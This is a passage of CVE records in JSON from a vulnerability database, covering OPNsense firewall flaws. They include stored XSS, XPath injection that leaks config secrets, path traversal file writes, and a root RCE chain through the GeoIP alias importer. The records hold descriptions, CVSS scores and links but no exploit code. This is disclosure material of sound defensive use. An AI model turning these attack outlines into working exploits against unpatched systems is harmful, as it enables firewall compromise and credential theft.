"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the NTP GPS page stores the operator-supplied initcmd value in base64 form, applies legacy_html_escape_form_data() to the encoded string, and then uses base64_decode() to decode the value directly into the GPS initialization-command textarea in src/www/services_ntpd_gps.php. Because decoding occurs after escaping, stored HTML remains unescaped at the output sink. A user with page-services-ntp-gps privilege can store a value that closes the textarea, and script executes in the session of any user who later opens the GPS page. The script can read CSRF material and perform authenticated actions, including actions available to an administrator. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:18:32.003Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-h793-67jm-j4m5",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-h793-67jm-j4m5"
},
{
"name": "https://github.com/opnsense/core/commit/a92d9514b5436c868f8f97138ebed507f6de423c",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/a92d9514b5436c868f8f97138ebed507f6de423c"
},
{
"name": "https://github.com/opnsense/core/commit/ed04a154dc40967541be1388e9134e451be4199e",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/ed04a154dc40967541be1388e9134e451be4199e"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-h793-67jm-j4m5",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS in Services: NTP GPS"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58392",
"datePublished": "2026-10-15T15:18:32.003Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T15:54:57.730Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58395 (GCVE-0-2026-58395)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:16 – Updated: 2026-10-15 18:41
VLAI
EPSS
VEX
Title
OPNsense: XPath injection in MVC safe-delete
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the safe-delete path reached through ApiMutableModelControllerBase::delBase() interpolates an unvalidated safe-delete token from the request URL into an XPath expression over config.xml before confirming that the token is a valid identifier. A user holding any one affected module privilege can send a crafted token to one of 21 affected delete endpoints covering Traffic Shaper, DHCP relay, Dnsmasq, Firewall Category, or Kea DHCP, causing the XPath to match configuration data across modules. The resulting error response exposes configuration item names, descriptions, reference paths, and UUIDs and provides an XPath substring-presence oracle, including for modules the user cannot otherwise access. The request does not modify configuration or perform a deletion. This issue is fixed in version 26.1.11.
Severity
4.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 18:37 UTC
CWE
- CWE-643 - Improper Neutralization of Data within XPath Expressions ('XPath Injection')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/631e14721… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/d7054cef6… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58395",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T18:37:26.648179Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T18:41:38.423Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-98h6-479q-9q3w"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the safe-delete path reached through ApiMutableModelControllerBase::delBase() interpolates an unvalidated safe-delete token from the request URL into an XPath expression over config.xml before confirming that the token is a valid identifier. A user holding any one affected module privilege can send a crafted token to one of 21 affected delete endpoints covering Traffic Shaper, DHCP relay, Dnsmasq, Firewall Category, or Kea DHCP, causing the XPath to match configuration data across modules. The resulting error response exposes configuration item names, descriptions, reference paths, and UUIDs and provides an XPath substring-presence oracle, including for modules the user cannot otherwise access. The request does not modify configuration or perform a deletion. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-643",
"description": "CWE-643: Improper Neutralization of Data within XPath Expressions (\u0027XPath Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:16:49.985Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-98h6-479q-9q3w",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-98h6-479q-9q3w"
},
{
"name": "https://github.com/opnsense/core/commit/631e14721b311badc1d3c0d29321e4d42585156b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/631e14721b311badc1d3c0d29321e4d42585156b"
},
{
"name": "https://github.com/opnsense/core/commit/d7054cef69f72588feac1091254960835be19dfe",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/d7054cef69f72588feac1091254960835be19dfe"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-98h6-479q-9q3w",
"discovery": "UNKNOWN"
},
"title": "OPNsense: XPath injection in MVC safe-delete"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58395",
"datePublished": "2026-10-15T15:16:49.985Z",
"dateReserved": "2026-06-30T18:19:58.378Z",
"dateUpdated": "2026-10-15T18:41:38.423Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58393 (GCVE-0-2026-58393)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:15 – Updated: 2026-10-15 16:07
VLAI
EPSS
VEX
Title
OPNsense: OpenVPN Client Specific Override common_name allows path traversal in generated CSO files
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN Client Specific Override common_name field accepts path traversal sequences and openvpn_csc_conf_write() concatenates the value into /var/etc/openvpn-csc/<vpnid>/<common_name> without normalization or a basename check. The affected event handlers are client_connect.php and user_pass_verify.php. An authenticated user with Client Specific Override privileges can store the traversal value, and a matching OpenVPN client-connect or authentication event causes a generated CSO file to be written outside the intended directory. The file content is generated OpenVPN configuration rather than arbitrary bytes, and practical exploitation requires the attacker to cause a matching common name or username to be processed. This issue is fixed in version 26.1.11.
Severity
5.9 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 16:07 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/3af496143… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/6101b3e2c… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58393",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T16:07:43.427308Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T16:07:55.688Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2m9v-p7r9-gfcw"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN Client Specific Override common_name field accepts path traversal sequences and openvpn_csc_conf_write() concatenates the value into /var/etc/openvpn-csc/\u003cvpnid\u003e/\u003ccommon_name\u003e without normalization or a basename check. The affected event handlers are client_connect.php and user_pass_verify.php. An authenticated user with Client Specific Override privileges can store the traversal value, and a matching OpenVPN client-connect or authentication event causes a generated CSO file to be written outside the intended directory. The file content is generated OpenVPN configuration rather than arbitrary bytes, and practical exploitation requires the attacker to cause a matching common name or username to be processed. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:15:45.924Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2m9v-p7r9-gfcw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2m9v-p7r9-gfcw"
},
{
"name": "https://github.com/opnsense/core/commit/3af496143a19153c18b2f9458b2510d58aff2b98",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/3af496143a19153c18b2f9458b2510d58aff2b98"
},
{
"name": "https://github.com/opnsense/core/commit/6101b3e2c90482111f420a47775c14a447441a72",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/6101b3e2c90482111f420a47775c14a447441a72"
}
],
"source": {
"advisory": "GHSA-2m9v-p7r9-gfcw",
"discovery": "UNKNOWN"
},
"title": "OPNsense: OpenVPN Client Specific Override common_name allows path traversal in generated CSO files"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58393",
"datePublished": "2026-10-15T15:15:45.924Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T16:07:55.688Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-57155 (GCVE-0-2026-57155)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:13 – Updated: 2026-10-15 15:45
VLAI
EPSS
VEX
Title
OPNsense: Root RCE via Arbitrary File Write in GeoIP Alias Importer
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer's process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11.
Severity
9.9 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:45 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/c46aced9c… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e7fbfaa7f… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-57155",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:45:26.496634Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:45:48.529Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-wjqq-rfmm-v5h3"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer\u0027s process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:13:12.343Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-wjqq-rfmm-v5h3",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-wjqq-rfmm-v5h3"
},
{
"name": "https://github.com/opnsense/core/commit/c46aced9c47d956167e294911113bc334fea5f48",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/c46aced9c47d956167e294911113bc334fea5f48"
},
{
"name": "https://github.com/opnsense/core/commit/e7fbfaa7f5e070da667e3f243da11fd3d4b731fa",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e7fbfaa7f5e070da667e3f243da11fd3d4b731fa"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-wjqq-rfmm-v5h3",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Root RCE via Arbitrary File Write in GeoIP Alias Importer"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-57155",
"datePublished": "2026-10-15T15:13:12.343Z",
"dateReserved": "2026-06-24T01:45:48.698Z",
"dateUpdated": "2026-10-15T15:45:48.529Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58391 (GCVE-0-2026-58391)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:12 – Updated: 2026-10-15 15:12
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS in Firewall Rules/NAT pages via a HTML-attribute breakout
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, Firewall Rules and NAT views place stored category names and alias descriptions into HTML title attributes in filter_rule.volt and nat_rule.volt without quote-safe encoding. The response layer uses ENT_NOQUOTES, so a double quote survives and closes the attribute, allowing an event-handler attribute to be added to the existing span. A user with Firewall Categories or Firewall Alias Edit privileges can store a category name or alias description; the category must be assigned to a filter or NAT rule, or the alias must be referenced by a rule source or destination, and the rule must be saved so the affected tooltip is rendered. Script then executes in the session of an administrator or other user who opens the affected Rules or NAT page. The script can access CSRF material and perform authenticated actions as the victim. This issue is fixed in version 26.1.11.
Severity
5.4 (Medium)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/5e6313f50… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/fb3b8a07f… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, Firewall Rules and NAT views place stored category names and alias descriptions into HTML title attributes in filter_rule.volt and nat_rule.volt without quote-safe encoding. The response layer uses ENT_NOQUOTES, so a double quote survives and closes the attribute, allowing an event-handler attribute to be added to the existing span. A user with Firewall Categories or Firewall Alias Edit privileges can store a category name or alias description; the category must be assigned to a filter or NAT rule, or the alias must be referenced by a rule source or destination, and the rule must be saved so the affected tooltip is rendered. Script then executes in the session of an administrator or other user who opens the affected Rules or NAT page. The script can access CSRF material and perform authenticated actions as the victim. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-83",
"description": "CWE-83: Improper Neutralization of Script in Attributes in a Web Page",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:12:08.334Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2xrm-p255-p43h",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2xrm-p255-p43h"
},
{
"name": "https://github.com/opnsense/core/commit/5e6313f50546474031805039e209830b63b2b0e4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/5e6313f50546474031805039e209830b63b2b0e4"
},
{
"name": "https://github.com/opnsense/core/commit/fb3b8a07f407ce281b1dde748706acbb0bc514ce",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/fb3b8a07f407ce281b1dde748706acbb0bc514ce"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-2xrm-p255-p43h",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS in Firewall Rules/NAT pages via a HTML-attribute breakout"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58391",
"datePublished": "2026-10-15T15:12:08.334Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T15:12:08.334Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-53582 (GCVE-0-2026-53582)
Vulnerability from cvelistv5 – Published: 2026-10-15 15:08 – Updated: 2026-10-16 17:13
VLAI
EPSS
VEX
Title
OPNsense: XPATH Injection can disclose any secret in config.xml
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10.
Severity
7.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 20:24 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/e2cd06734… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/fc2f0d745… | x_refsource_MISC |
| http://seclists.org/fulldisclosure/2026/Jul/18 |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2026-10-15T15:12:04.797Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://seclists.org/fulldisclosure/2026/Jul/18"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-53582",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T20:24:37.654161Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-16T17:13:42.903Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.10"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91: XML Injection (aka Blind XPath Injection)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-643",
"description": "CWE-643: Improper Neutralization of Data within XPath Expressions (\u0027XPath Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:08:46.374Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
},
{
"name": "https://github.com/opnsense/core/commit/e2cd067343511252fb0d391a17d82d3ecceece45",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e2cd067343511252fb0d391a17d82d3ecceece45"
},
{
"name": "https://github.com/opnsense/core/commit/fc2f0d745c17855d2027b192fd4e3fa913e26859",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/fc2f0d745c17855d2027b192fd4e3fa913e26859"
}
],
"source": {
"advisory": "GHSA-xww7-76m6-mh2r",
"discovery": "UNKNOWN"
},
"title": "OPNsense: XPATH Injection can disclose any secret in config.xml"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-53582",
"datePublished": "2026-10-15T15:08:46.374Z",
"dateReserved": "2026-06-09T19:11:53.484Z",
"dateUpdated": "2026-10-16T17:13:42.903Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-53581 (GCVE-0-2026-53581)
Vulnerability from cvelistv5 – Published: 2026-09-08 23:02 – Updated: 2026-09-09 13:37
VLAI
EPSS
VEX
Title
ntp: write path traversal
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core, a path traversal vulnerability in the NTP configuration module allows an attacker to overwrite arbitrary files on the system as the root user. By manipulating the GPS or PPS serial port parameter, an attacker with access to the NTP configuration can escape the intended directory and force the system to write user-controlled data to any file on the filesystem. Version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core patch the issue.
Severity
9 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 13:36 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-53581",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T13:36:46.542932Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:37:23.831Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-872g-g543-j37m"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.9"
},
{
"status": "affected",
